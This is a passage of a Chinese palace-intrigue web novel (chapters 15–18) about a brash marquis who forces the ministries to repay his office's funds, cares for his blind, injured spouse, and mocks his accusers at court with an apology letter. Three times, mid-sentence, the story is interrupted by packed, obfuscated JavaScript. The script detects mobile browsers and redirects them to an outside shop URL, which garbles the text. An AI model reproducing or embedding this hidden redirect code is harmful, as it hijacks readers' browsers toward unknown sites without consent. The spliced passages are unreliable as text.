顺天府和工部侍郎都是太子党的,他肯定不能厚此薄彼,也该折腾一下大皇子的人,毕竟他是一个公正的人。 15. 第 15 章 户部俗称“地官”,其掌握土地、户籍、良田,以及整个国家的钱粮税收,不管是历朝历代都是该毕恭毕敬的人,但现在……户部来了个天不怕地不怕的。 户部侍郎谭同茂道:“小侯爷,文册上记得清清楚楚,那批银子是驾部司捐给澶州的,怎么能又要回去呢?” 薛俨双手撑着桌子居高临下、气势逼人,“你帮我捐的银子也算捐?那回头我带人去你家里把你的家产都捐给乞丐,是不是也算捐献?” “你……”谭同茂从来没见过这么横的,他贵为户部侍郎,朝中四品大员,谁见了他不是毕恭毕敬的? “我什么我?你私自捐献我们的银子,我怎么知道这批银子是不是真的捐给了澶州,还是你把银子贪污了?” 户部侍郎双眸瞪大,“薛俨,你放肆,这里是户部,不是你撒野的地方!” 薛俨道:“你还不还我们的银子?” 谭同茂:“不还!” 薛俨:“那你把我们新打的票拟签了,给我们批新的银子。” 谭同茂:“批不了,预算重复。” 薛俨气道:“要不是你把我们的钱捐了,怎么会预算重复?” 谭同茂哼了一声,“六部各司都捐了,你们也得捐,事发突然,顾不上跟你们打招呼,后来李郎中过来查账时,已经过了明面,怎么你不知道吗?” 薛俨道:“李郎中已经辞官了,现在站在你面前的是我薛郎中,我的规矩跟他的规矩不一样!你必须把银子还了。” 谭同茂:“还不了。” 薛俨:“那批票。” 谭同茂:“批不了。” 薛俨气得屈指在他脑门上敲了三下。 谭同茂:?? 薛俨无语,“我看看你是不是机器人,只会说还不了、批不了。” 谭同茂冷笑,“无知竖子。” 薛俨才不管他怎么骂,“你今天要么把我们的银子还了,要么把我们重新打出去的票拟签了,给我们重批银款,否则……我今天就要大闹天宫了!” 这帮该死的老滑头,他们把驾部司的东西都用了,害得驾部司没了预算,账面上也乱七八糟,要是哪天有人想抓他的把柄,只要稍一查账,他绝对免不了要下大狱。 他刚上任一天,要是今天上面来查账,那还真跟他没关系,出了什么事也是他的前任李郎中的问题,就怕过几个月再来查账,到时候所有的黑锅都靠他背了。 他就算大闹六部,也要把东西要回来。 谭同茂再次冷笑一声,“那你闹吧。” 薛俨一捶桌子,“好,这是你说的。” 他说罢环视四周,其他正在干活户部官吏都在偷听热闹,连扫地的大叔都快把那一块地面扫成镜面了,余光时不时扫过来。 薛俨一指,“那个花瓶……还有这个檀木桌子、梨花椅子……” 薛俨每说一样,他身后的私兵就上前搬走一样,在谭同茂震惊的眼神中,薛俨一把夺过他的毛笔,“还有谭大人的紫毫笔,多谢谭大人捐献给我驾部司。” “我一会儿就上街摆地摊全卖了,等换成银子,我们就能修缮新的驿站了,等陛下明年下江南时途径驿站,我一定会告诉他驿站的一砖一瓦都是谭大人捐献的。” 谭同茂:?? “住手!薛俨,这里可是户部,你要抢劫不成?放开那个青花瓷瓶,那可是前朝时的物件,十个你都赔不起。” 谭同茂很是宝贝那个花瓶,一个箭步冲过去从私兵手下夺走了他的花瓶。 薛俨双眼放光,“哎?那就它了,我把它卖了,所有的驿站都能好生修缮一番。” 谭同茂:“你敢!” 薛俨叉腰道:“你看我敢不敢?你今天护得了它一时,晚上我就撬了你们户部的锁,把它偷出去卖到黑市,你再想见到它可是不能了。” 谭同茂:“……” 他觉得薛俨这厮是真的能干出这种事的。 薛俨笑眯眯道:“还有你的紫毫笔、青玉台,都是好物件,我帮你捐给商人好不好?他们肯定愿意花钱买,没准儿我们驾部司今年的预算也有了。” 谭同茂目眦欲裂。 士工农商,商人地位低贱,出门不得坐轿、后人不得科考,大楚的官员对于商人都是嗤之以鼻的,他们自视清高,看不起商人的铜臭味。 商人自知落俗,便努力往高雅上面去靠,格外喜欢文人的物件。 而这紫毫笔、青玉台都是文人世家的宝贝,若是被商人沾染,他们怕是要被气死的…… 谭同茂无奈,“小侯爷,捐献出去的钱肯定是回不来的,已经批过的款项也是不能重复拟批的,除非……” “我懂!”薛俨忙不迭地又从袖子里掏出来一张票子,“去年澶州大水,冲毁了好几座驿站,这是重建驿站和补充马匹的票拟,这个不重复吧?” 他早就知道户部会借此推诿,所以来之前特意把去年缺的钱做了一个新的票拟,反正钱到手就行,至于用来干什么,只是明面上的账目。 谭同茂嗤笑一声。 薛俨不过是一武将,竟然还懂票拟上的事。 但薛俨已经拿出了东西,他也只能重新审查,又在票拟上签了字。 从户部出来,薛俨一身畅快,最难搞的三个人已经搞定了,剩下的债务以后就可以慢慢要了。 回到驾部司,孟文山看着收回来的银子、签完字的借契、票拟,眼珠子都快惊出来了,眼里对薛俨的崇拜犹如滔滔江水。 “您怎么收回来的?” 薛俨道:“大闹天宫,过两天如来佛祖就得来收我了。快给我倒杯水,跟他们吵了半天,渴死我了。” 屋内驾部司的人还在疯狂查账, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338487|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见薛俨真的能要债回来,各个打鸡血似得,手里的算盘打得啪啪作响。 “账查得怎么样?” 孟文山道:“很多陈年旧账不好查,今日肯定是查不完了。” 薛俨点点头,他也没想着今天能查完,就算查的完,他今天也没法把债都要回来。 薛俨随手翻了本账册,两眼一抹黑。 他不太懂账,只能看些简单的账本,像这种故意被记得乱七八糟的东西,他根本看不懂。不过……家里有人懂账。 薛俨还没到家,赵禛就已经收到了邓儒送来的信,上面洋洋洒洒写满了薛俨今日干的不要脸的事,又把薛俨骂了个来回,蓝瞳在旁边念得声音里都带了压制不住的笑意。 “殿下,侯爷也太能干了,他凭一己之力把顺天府、工部、户部全部得罪了个干净。” 殴打五皇子的小舅子、调戏工部侍郎全家、当众抢劫户部……甚至于他得罪人的手段也真是够不体面的。 赵禛也是忍俊不禁,唇角轻扬,“侯爷聪慧,他闹得越厉害,陛下就越信任他。” 朝中党争严重,文武百官和皇子王孙的心眼比马蜂窝还多,而薛俨用的全是不上台、又能让人一眼看懂的伎俩,怎么能不让陛下放心呢? 蓝瞳道:“邓侍郎给您送信,问您身体是否安好,他是不是……” 赵禛摇摇头,“他是想试探我还能不能再回到朝堂,如果我的身体没问题,他就再押一注。” 文武百官都是闻风而动、利益为先的人物。目前的工部尚书对太子唯命是从,给太子干了不少脏活,邓儒并不待见这个上司,生怕有一日会引火烧身,所以才会寻求新的路子。 “蓝瞳,替我研墨,我写一封信你帮我带给他,听闻他的千金不日大婚,正好送上一份贺礼。” 赵禛扶着轮椅坐在桌案前,铺了纸张,他眼睛看不见,只能摸索着纸张边缘,尽量让字迹工整些。 等蓝瞳离开后,赵禛坐在窗子前,廊上鸟叫声叽叽喳喳的,园子里飘来淡淡的花香,养得那只三花猫跳到了他的腿上,松烟给他披了件厚实的大氅。 赵禛忽然问:“几时了?” 松烟答:酉时一刻。” 赵禛嗯了一声,这个时间点,薛俨也该回来了吧。 俩人正说着,外头响起一声喊,“侯爷回来了。” 松烟迎了出去,又吩咐人准备薛俨要换的衣裳和热茶,身后咕噜咕噜的车辙声响起,赵禛转着轮椅,怀中抱着只猫儿,乖乖地坐在了门口。 外头又进来一个小厮,“侯爷直接往云姨娘院子去了。” 车辙声再次响起,松烟扭头,正好看到赵禛转着轮椅咕噜咕噜地离开,只留给他一个背影。 松烟一拍手,坏了。 夫人该不会是特意出来迎接侯爷,正好听见他去云姨娘院子的消息了吧? 16. 第 16 章 云娘院落。 薛俨捧着一碗热汤,云娘正坐在桌前翻动眼前的账本,她看了片刻,指着里头的某些条目开始讲解。 薛俨听得津津有味,他头一次知道做账竟然有这么多的门道,尤其是做真帐和做假账,可真刑啊。 薛俨听完课,不由赞叹,“云娘,你是最懂账的,驾部司的烂账简直是一堆狗屎,看得我头疼,听你这么一说,恍然大悟。” 他也懂些账目上的事,但他那点水平对上六部的老狐狸们精心设计的假账显然不够看。 而云娘从小便跟着她爹接触账目,入府后又把家里和外头的产业管得井井有条,可以称得上是极好的老师,所以薛俨一回来就急匆匆找上门求学。 云娘粲然一笑,“这些账册做得精妙,妾身学识浅薄,一时也看不出更多的门道了。” 薛俨笑道:“真是多谢云娘不吝赐教,请受学生一拜。” 云娘被他逗笑了。 薛俨捧着手里的汤,忽然又问:“先前在边关尽是些粗犷的汉子,云娘出身江南水乡,或许看不上他们,但如今我们回了京城,有不少风度翩翩的贵公子,云娘可有心仪的?” 云娘一愣,莞尔一笑,“侯爷又想替云娘做媒?” 薛俨叹了口气,“云娘,你是顶好的人,当年我原是想认你做妹妹的,但是事情阴差阳错闹到了祖母那边,她误以为我对你有意,便做主将你纳为我的侧室。如今你正好年华,全叫我给耽误了,我实在心中有愧,只觉委屈了你。” 云娘原是他父亲副将的独女,副将随他父亲一同战死后,她那些叔伯们欺负她一介孤女,无依无靠,薛俨便将人接进了家门,他是想着让云娘给祖母磕个头,以后认作义妹,结果他出趟门的功夫,祖母就误解了他的意思。 云娘被接进府中时,他并不知情,等到晚上回来看见府中贴着喜字,还以为是谁要成婚,甚至想凑个热闹,直到进了婚房,这才知道原来是他要成婚! 云娘虽好,但并不是他喜欢的类型,他也不愿意做强扭的瓜,那晚他便说明了自己的意愿,并愿意出具和离书。 但云娘父母双亡,一介孤女,又做了薛俨的妾室,也不好再重新嫁人,便商量着留了下来,也正好替薛俨挡一挡来自老太君的催婚压力。 这些年虽有夫妻之名,但从未有过夫妻之实,云娘也一直大度地帮他挡着祖母那边塞过来的人,甚至操劳着府中的中馈,薛俨一直觉得过意不去。 以前在边关,不少人都认得云娘,现在回到京城,几乎没人见过她,薛俨只肖给她换个身份,再接进府中,对外只称是侯府过来投奔的小姐,照样可以寻觅良人。 云娘摇头道:“侯爷,当年若非侯爷出面,云娘一介孤女,或许早就被叔伯卖到窑子里去了,老太君也待云娘如同亲生的孙女一般,甚至将府中中馈交到云娘手中,云娘不觉得委屈。” “我知晓侯爷是为我好,只是云娘对京城人生地不熟的,不敢到别人家去,侯爷将妾留下来吧,妾愿意在侯府守一辈子,即便侯爷用不上妾,妾还可以侍候在老太君身边尽孝。” 薛俨无奈,“这……好吧,云娘,你父亲和我父亲乃是生死之交,侯府永远是你的家。” 他并非想催云娘成婚,只是女儿家的青春也就这几年的光景,这里又是对女子足够刻薄的古代,若是被他耽误了年岁,以后想嫁人恐怕也不好嫁出去了。 * 明月阁,饭菜上桌,蓝瞳在旁布菜,赵禛默默地喝粥,松烟还在喋喋不休地帮薛俨找补,生怕赵禛误解了什么。 “昨个儿侯爷特意招了个懂食补的厨子,膳食搭配,对夫人的身体是最好不过了。” “夫人快尝尝这道菜,夫人喜欢什么,侯爷都记着呢,叫我们全按夫人的口味做的。” 天已近黄昏日落,霞光透过窗子,赵禛坐在阴影中,穿着件鹅黄色的春衫,外罩清水蓝色比甲,坠着珍珠金饰,这等绚丽的衣裳自然也是薛俨挑的。 他难得没带遮眼的绸缎,金簪挽发,青丝落肩,弯曲的长睫微微垂落,瞧上去安静极了。 外头传来一道声音,“宣卿。” 紧接是那两只鸟儿开始叫唤“侯爷好,侯爷好。” 像是寂静无波的死潭忽然惊起一块石子,死水变成了活水,赵禛吃饭的手一顿。 薛俨一进来就把官帽摘下随手一扔,松烟习惯性地接住,接着又是官袍的扣子解开也尽数扔了出去。 除去禁锢,薛俨一屁.股坐在椅子上,身体呲溜下滑,双手无力地交叠在小腹上,双腿蹬直,脑袋往侧边一歪,整个人葛优瘫似得倒在椅子上,活像是被人吸走了精气的行尸走肉。 果然,人一旦上过班,就再也回不到过去了,他现在全身都是班味儿,恨不得把六部的人都杀了。 文臣武将的脑回路永远是不一样的。 文臣:简单的事情复杂化。 武将:复杂的事情简单化。 “宣卿,你身体怎么样了?还难受吗?” 他伸手摸了摸赵禛的额头,目光打量着赵禛上下,虽脸色还有些苍白,病恹恹的,但大体瞧着没什么问题了。 “我没事,侯爷怎么听起来有气无力的?” 薛俨仰天望着天花板,“你不敢相信我这一天都经历了什么。” 他挥了挥手,将众人屏退。 “我上任第一天,就收到了前任李郎中给我的密信,上面就写着两个字,你猜是什么?” 赵禛歪歪头。 薛俨:“他说:快跑!真是见了鬼,我当时只觉得五雷轰顶,脑袋边上已经抵着一把悬着的刀,恨不得当场告老还乡,然后带着你们全部回乡下种红薯去。” 赵禛弯了弯唇角,接话道:“我会锄地。” 薛俨突然拍着桌子哈哈大笑起来。 赵禛被他的笑闹得莫名其妙,“笑什么?” 薛俨笑完,“我只是觉得你这么漂亮的人扛着锄头在我面前翻地,有些滑稽。” 赵禛生得好看,几日的休养,已经初现端倪,他每天把赵禛打扮得漂漂亮亮的,穿金戴银、衣裳首饰不重样,而这样的大美人却提着锄头跟在他身边抛土,此等画面怎么想都觉得好笑。 赵禛道:“我舅舅曾任工部尚书,我随他到地方上探查堤坝时,曾陪百姓耕地浇园。” 他并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338488|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是娇滴滴的皇子,相反,他自幼读书习武,有的是力气和手段。只是薛俨好像总觉得他是温室里娇养的花。 薛俨又笑了起来,“好好好,你耕地来我织布,我挑水来你浇园,咱们夫妻双双把家还。” 赵禛:“……” 薛俨噼里啪啦地把今天遇到的事都跟赵禛讲了一遍,又把六部的老妖怪们都骂了一遭,心中一口恶气顿消,吃饭都多吃了一碗。 果然,虽然上班很苦,但是下班和朋友骂一骂同事就很快乐。 “你说,前任驾部司的李郎中是不是察觉出这么大的亏空早晚要出事,所以才故意装疯卖傻?我猜他肯定知道不少事情。” 赵禛点点头,“或许。” 窗外掀起一阵冷风,吹得薛俨后颈发冷,赵禛也将衣物裹了裹。 薛俨将窗子关上,又道:“大夫说你要卧床静养,我抱你回去躺一会儿吧。” 赵禛的身体已经好了很多,但比起常人来说还要继续养着,钱大夫原是不许他下床活动的,但赵禛本就眼睛看不见,再躺在床上一动不动,实在是煎熬到无聊,便破格允许他偶尔下来活动一下。 薛俨推着轮椅走到床边,弯腰将赵禛抱起,刚将赵禛放下,他突然倒吸一口冷气。 “怎么了?”赵禛双臂从薛俨的脖子上抽开。 薛俨伸手扶了下腰,单膝跪在床边,保持着原来的动作,表情狰狞,“腰疼,嘶,宣卿,快帮我一把,我的腰……” 赵禛伸手往他身上摸索了两下,在后腰处按了按,“这里?” “往左一点。”薛俨也很无语,他刚从云娘院子里出来就被一个乱跑的小厮迎面撞上,正好后退时磕到了他腰上的旧伤。 原是没什么事的,方才抱赵禛时,又不小心牵扯了一下,这一叠加,就出事了。 赵禛往左挪了下,等找到位置,他五指按了两下,虎口搭在薛俨腰窝处,他可以清晰地感知到薛俨的腰很细,连腰窝上的肉也很软。 薛俨:“对对对。” 赵禛动了动鼻尖,还能清晰地嗅到了薛俨身上的香粉味,上任第一天刚回家就迫不及待地去找妾室厮混,是要多激烈,才能把腰害成这样? 赵禛声音淡淡:“腰不好,就少做些激烈的运动。” 赵禛帮他揉了两下,又扶着他往下趴好,薛俨小心翼翼地用双手撑着床面,慢慢贴近赵禛。 门突然打开,松烟和钱孙李三个大夫正说着什么,刚绕过屏风,一抬眼就看到薛俨压在赵禛身上,似乎正欲行不轨之事。 松烟率先发现,脚步丝滑地调转方向,一手拽住一个老头就往外走。 薛俨也瞧见他们了,“别走,快给我扎两针,我的腰不太好了……” 薛俨撩开衣裳,三个大夫看了他腰上的伤,又贴了膏药,薛俨这才舒服些。 只是那三人欲言又止。 薛俨像只乌龟似得趴着,朝外探头,无语凝噎,“你们仨能不能不要用看淫贼的眼神看着我?我是腰伤突发才叫宣卿扶了我一把。” 这仨人的表情好像是他又要对宣卿做什么坏事,还被人当场抓住。 仨人明显不信。 17. 第 17 章 “其实我等前来实则是另有一个好消息,治疗夫人眼睛的药方已经商议出来了,今晚便可以用药,配以针灸穴位。” 三位大夫取出药方,递给薛俨。 三人术业有专攻,但也能相辅相成,钱孙二人擅长调养身体和眼疾,孙李二人擅长骨科腿疾,互相配合,已显成效。 “真的?”薛俨一喜,下意识起身,牵扯到了旧伤,他又倒吸一口冷气,扶着床沿,慢慢地坐起来。“那他要多久才能复明?” 孙大夫道:“不好说,或许七七四十九天,又或许九九八十一天。” 薛俨道:“不管怎样,至少有些希望,太好了,宣卿,你听到了吗?最快四十九天你就能看到了。” 他的声音间是抑制不住的喜色,抓着赵禛的手,竟是比赵禛这个当事人还要惊喜。 赵禛莞尔,“我听到了,哥哥。” 他面色瞧着从容,只是指节下意识攥紧了衣角,他比任何人都希望再次看到这个世界。他还要亲眼看着那几个害他至此的人落得该有的下场。 薛俨攥着他的手,喜不自胜,“现在是三月底,四十九天后便是五月中,你就能看到园子里种的牡丹,往后还有荷花、桂花……我带你出去游湖、赏秋。” 赵禛嗯了一声。 那些名花草木他见过无数,没什么稀奇的,他现在想第一眼就看到的从来只有一个。 钱大夫接了方子出去熬药,孙大夫则留下来为赵禛的眼睛施针,只见赵禛坐在榻前,双眸紧闭,尖细的银针刺满周围,看得薛俨心头都捏了一把汗。 他扶着腰靠在床前,皱眉道:“疼不疼啊?” 那么多的针。 赵禛嗓音轻轻,“不疼。” 不过是针灸的刺痛,怎么比得过他彻底陷入暗无天日时的绝望。 等施完针,赵禛又服下汤药,薛俨的一颗心才放回肚子里,“那他的腿疾何时能好?” 李大夫摇了摇头,“夫人双腿损了经脉,我只能试着重新接骨,保他勉强站立,但往后跑、跳、或是任何激烈的动作便做不了了。” “老夫医术不精,这已经是我们三个商议后最好的结果了,而且也要等夫人元气恢复些许,身体能够承受得住后,才可以进行接骨,大概在一个月后吧。” 其余二人也叹息一声。 实在是赵禛的腿疾拖延了半年之久,又损伤过度,身体也虚弱病疴,倘若再早三四个月他们都有把握让他彻底恢复。 薛俨先前的兴奋神色一扫而空,如果他能早回京几个月,早日将宣卿接出来,或许就不会这样了。 “哥哥……” “能够站起来走路,已是我求而不得的奢望了。” 赵禛双眼缠着纱布,内敷草药,虽有苍白病态,却面容坚毅,从前病重伤残躺在榻上等死的时候,他从不敢奢想还有今天这样的日子。 他有薛俨,有复明的希望,甚至还可以站起来走路,身体也在一点点变好,他还有什么不知足的呢? 薛俨听着更心疼了,明明受伤的人是宣卿,他却还反过来安慰自己。 薛俨深吸一口气,郑重道:“宣卿,你放心,千金寻医,万金买方,就算要我半数家产,我也要给你求一副良药。” 万一他就站起来了,万一他能跑能跳能习武练剑了呢?万一他就可以和幼时那般策马赏花了呢?天下医者众多,万一就有人可以治疗他的双腿了呢? “我会有办法为你寻求天下名医,我就不信没人能治你的腿。” 赵禛嘴唇微张,像是错愕,又像是惶恐,千万般思绪的交织下,心脏开始擂鼓跳动,仓皇过后只剩下兵荒马乱。 “你的腰怎么样了?”赵禛转移了话题。 “没什么事,只是牵扯到了旧伤,贴几副膏药、再扎几针就好了。” 赵禛迟疑道:“那……日后你下值回来,早些过来叫孙大夫给你扎几针,也不要再跟人胡闹了。” 按理说他是没资格管薛俨的房中事的,但薛俨自称是他哥哥,作为弟弟关心一下哥哥的身体总是可以的吧? “好好好,我一定早些过来。”薛俨轻笑出声。 赵禛眼睛看不见,腿又不良于行,一个人待着自然是烦闷的,肯定想有人在旁陪着他说说话。 “哎,你往里挪挪,让我趴一会儿。” 薛俨坐了一会儿便觉得腰有些不舒服,推着赵禛往里挪了个空地。 他一趴下,赵禛摸索着把热乎的汤婆子放到了他腰上,淡淡暖意袭来,薛俨感动得一塌糊涂。 宣卿真是一个好孩子。 同样是在京城生活,怎么六部的老妖怪们都那么不是人呢? “我今天的步数都快比得上回京以来步数总和了,从顺天府溜达到工部,再到邓侍郎的府邸,又到户部,最后又回驾部司,我的脚跟着我真是受罪。” “明天我要改成骑马,我要踏平礼部,他要是不还我东西,我就在他脸上踩个马蹄印。” 赵禛被他逗笑了。 京城官员大多谨小慎微,像薛俨这种大闹六部的还真是前所未有。 赵禛:“你就不怕得罪了六部,他们联名上奏皇帝定你的罪?” 薛俨气道:“最好罢了我的官,我们回家种红薯去,我会做烤红薯、蒸红薯、红薯干、红薯饼、拔丝红薯……” 赵禛笑道:“过几天的大朝会,他们一定会参你一本的。” 他觉得薛俨肯定会想到这一点,所以他反倒有点期待薛俨的应对之策。 薛俨笑道:“我有一句通关秘宝,可以应对人生99%的君子,那就是:只答不辩,疯狂道歉,过而不改,下次还敢。” 君子欺之以方,而朝中的人又全是些要脸面的伪君子。 赵禛轻笑一声。 薛俨还和小时候一样,惹了祸,先道歉,疯狂道歉,师长见他态度诚恳也便不好再加过重责罚了。 “上次顺天府账册的事,应该也要出结果了。” * 接下来几天薛俨照旧去六部要账,半个朝廷都被他搅得鸡飞狗跳的。 礼部借车不还,薛俨带人在礼部打了一天的叶子戏,一会儿墨水不小心甩在某位大人官袍上,一会儿不小心打翻了砚台,将好不容易写完的东西全部浸了墨渍。 礼部实在受不了他的胡搅蛮缠,送祖宗似得把薛俨送了出去。 六部全部糟了难,几位受害者一合计,联名上书,弹劾薛俨的奏折雪花儿似得飘进了宫里,落到了皇帝的案桌前。 弹劾的奏折高高摞起,皇帝像看乐子似的,每天欣赏着薛俨的胡作非为,却并未制止。 大朝会当天,薛俨打着瞌睡,被迫早起,冒着赫赫冷风站在了太极殿前。 大楚的朝会分为两种,其一为每日的常朝仅需三品及以上官员参与议事,其二为十日一次的大会,京中五品及以上官员都要前来听会决策。 根本不给薛俨浑水摸鱼睡觉的机会,有人便站出来开始弹劾。 “陛下,臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338489|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有奏,臣要弹劾兵部驾部司郎中薛俨,此人嚣张跋扈,青天白日竟将同僚打成重伤,到现在都不能下床,实在是令人发指。” 他说罢,有几人用担架抬着一人进来,正是五皇子的小舅子王进,此刻浑身缠着纱布,左眼还带着眼罩。 薛俨张大了嘴巴,这伤可不是他揍的啊?他不会是自己打的吧? “陛下,臣也要弹劾驾部司郎中薛俨,此人好色无度,竟当众调戏工部邓侍郎的爱子,行止龌龊,秽乱视听。圣人云:修身齐家治国平天下,薛俨身不修、行不端,又何谈履职尽责、辅佐圣朝?” “陛下,臣还听闻薛俨大闹户部,甚至扬言要将户部的桌椅都搬去街市卖给商人,目无王法,亵渎公权,上辱国体,下乱官常……” 薛俨双眸瞪大。 这些人怎么嘴皮一碰就给他扣这么大的帽子啊? 有人开团,剩下的全跟。 陆陆续续地将薛俨从头到脚批判了一遍。 等到无人再出,嘉平帝道:“薛俨,你有何话可说?” 薛俨清了清嗓子,从队伍中站出来,从袖中掏出一张纸弹了弹,高声道:“陛下,这实在是因为他们借用了驾部司的东西不还,导致驾部司账目混乱,臣情急之下才用了点非常手段,臣知错了。” 群臣原以为薛俨会继续大闹太极殿,结果他认错态度极其良好,接下来的话尽数憋到了嗓子眼里。 薛俨道:“为表歉意,臣写了一封万字的道歉信,愿意当众朗读给诸位同僚听。” “陛下。”他朝皇帝微微一鞠躬,又转到皇子队伍,“太子殿下,大皇子,五七八皇子,还有各位弹劾我的同僚,诸位早安,我是薛俨。” “借用这个珍贵的大朝会,我要当堂向几位大人表达我真诚的歉意。” 他步伐轻快,仿佛不是在当众道歉,而是在自个家里逛园子,眼看着他转悠到担架上的人,那王进对薛俨的阴影仍在,见他过来便开始叫唤起来。 “王大人,你这伤……不是我打的吧?该不会是你回去后想多栽赃于我,自己把自己打成这样吧?” 王进双眼一瞪,“你你你……” 薛俨轻咳一声,开始朗读他的道歉信,“王大人,我很抱歉让你的绿豆左眼变成了青色,导致你只能带着眼罩出门,但是我技术很好,如果你希望你的右眼同样对称的话,我可以帮你,这样你就能在街上cos熊猫,我的意思是……你的脸会变得对称一点。” 百官的视线跟着薛俨的朗读落在了王进的眼睛上,他那完好无损的右眼几乎挤在肉里,确实如绿豆大小。 有人开始憋笑。 “在你说出那句[有本事你打死我]的时候,我千不该万不该满足你,在你用你那肖似怀孕九个月的肚子打我的拳头的时候,我也不应该反击,我既然已经回到京城,我应该多学习以德服人,但你实在不听我说话,我只好把你打晕,让你听我讲话……” 王进听见他此等嚣张的言论,伸着粽子手虚空指了两下,又被薛俨按了回去。 “不用感动,我应该道歉的。” 薛俨的道歉信写得可谓是登峰造极,通篇白话,形容真实,他每用一个形容词,都有无数道视线将王进扫视一遍,看得王进羞愤欲死。他不是在听道歉,而是在被当众凌迟。 很快薛俨的脚步转到了工部侍郎邓儒面前,“对不起,邓侍郎,我错了。尽管您的女婿长得风情万种、天生尤物,我也不该说出要当众抢亲娶他做小妾的言论……” 18. 第 18 章 “尽管邓侍郎您的公子国色天香、千娇百媚,我也不应该当场调戏于他,其实我并没有调戏他,我只是当众夸赞了他几句而已,因为他的屁.股真的很翘。” 邓儒的脸都绿了。 “还有邓侍郎您虽年过五旬,也是风韵犹存,秀外慧中,岁月从不败美人,我实在不应该说出“把你们全家都笑纳了”的言论,但你弟弟长得也确实是人比花娇、明艳动人、秀外慧中……” 文武百官,包括弹劾薛俨的人此刻都纷纷把头埋了下去,肩膀一抖一抖的,像是憋得实在难受。 甚至不断有人往邓儒身上瞟去,的确如薛俨信上所说,邓侍郎年旬五十,却是松形鹤骨,清癯挺拔,细纹之下依稀可见曾经的美貌,紫衣官袍下自有清正风骨。 “你住口!”邓儒实在是听不下去了,虽然他年轻的时候也的确曾自恃京城美男子,常以此为傲,但薛俨用的词汇实在是难登大雅之堂。 “薛俨,此乃太极殿,你休要放肆。你没读过书也就算了,竟还用此等词眼来羞辱于我。” 邓儒恨不得上前撕了他那一封道歉信,薛俨是被他打断了,没有打断的不知道还有多少乱七八糟的字词。 薛俨茫然道:“这些词眼怎么了?世人不是常用此词来形容美人吗?我是在夸你呀,你们全家都是美人。” 邓儒脸色青了又白,白了又黑,他现在恨不得躺在担架上的人是他,至少还有块布遮着他这张老脸。 薛俨又朝皇帝一拜,“陛下,您可要为臣做主啊,臣信中没有任何粗俗词汇,只是单纯觉得他们一家长得真好看。” 嘉平帝摆摆手,他都怕自己一开口会笑出声来,影响帝王威仪,邓儒那老匹夫现在倒是被一个毛头小子给制服了。 旁边的太子已经笑得不知天地为何物了,其他皇子的表情管理还算得当,但各个也是忍得辛苦。 薛俨又跑到了户部侍郎谭同茂面前,“谭侍郎,对不起,那天……” “等等——”谭同茂突然打断做法。 “陛下,臣仔细想来,薛侯也是为了驾部司,为了能替陛下办好差事,臣以为薛侯无过,那天的事想必是一个误会,薛侯不必道歉。” 有了前两个的前车之鉴,谭同茂是真的不敢让薛俨向他当众道歉了,谁知道他嘴里会不会又说出什么惊天之举。 王进躲在担架上恨不得没有他这个人,只想一头昏死过去。 邓儒缩在群臣当中脸上颜色交织,恐怕朝会散去,全京城都会知道工部侍郎邓家尽出美人,而他堂堂工部侍郎一把年纪、风韵犹存。 “不不不,臣虽是为了驾部司,但行事还是过于莽撞,我千不该万不该在看到你们户部的珍珠屏风、紫玉羊毫笔……” “薛侯!”谭同茂实在是怕了他这句,“薛侯无过,是户部平日公务繁忙,没能及时配合侯爷查账,往后侯爷再来,绝不敢有怠慢。” 谭同茂不惜往自己身上揽怠慢之过,也不敢让薛俨再念他的道歉信了,只觉得薛俨的笔比他的刀还厉害,不愧是能夺回陇西九城的男人。 “既然这样,那接下来……”薛俨指尖划过谭同茂那一段,视线又落在礼部某位郎中身上。 那人如芒在背、如鲠在喉,像是被什么阎王爷的锁魂链锁定了一般,吓得额前都出了一层冷汗,连忙学着谭同茂的法子,生怕薛俨一张嘴就是大逆不道的话。 如此,其他人纷纷效仿,再也没人敢弹劾薛俨了,薛俨反倒觉得没意思了,他好不容易才写出的万字道歉信,这些人都不让他念完。 而那些没有涉及到的官员,则盯着他手中信纸好奇的想薛俨还写了些什么?他们倒是蛮想听的。 嘉平帝也适时出来打圆场,“好了,诸卿同朝为官,又都是年长之人,看在朕的面子上,便饶了他一回吧。” 他这话说得倒像是给家里不成器的孩子开脱,眼看皇帝都为薛俨说话,众人更是不敢再异议。 嘉平帝又笑道:“薛俨,你这书都读到哪去了?用的什么乱七八糟的词?朕便罚你回去把礼记抄三遍,给朕送到宫里来。” 薛俨讪笑一声,“是,臣回去一定好好读书练字,下次可不敢了。” 过而不改,下次还敢! 抄书这种事情嘛,又没说什么时候送到宫里,往后拖着呗。 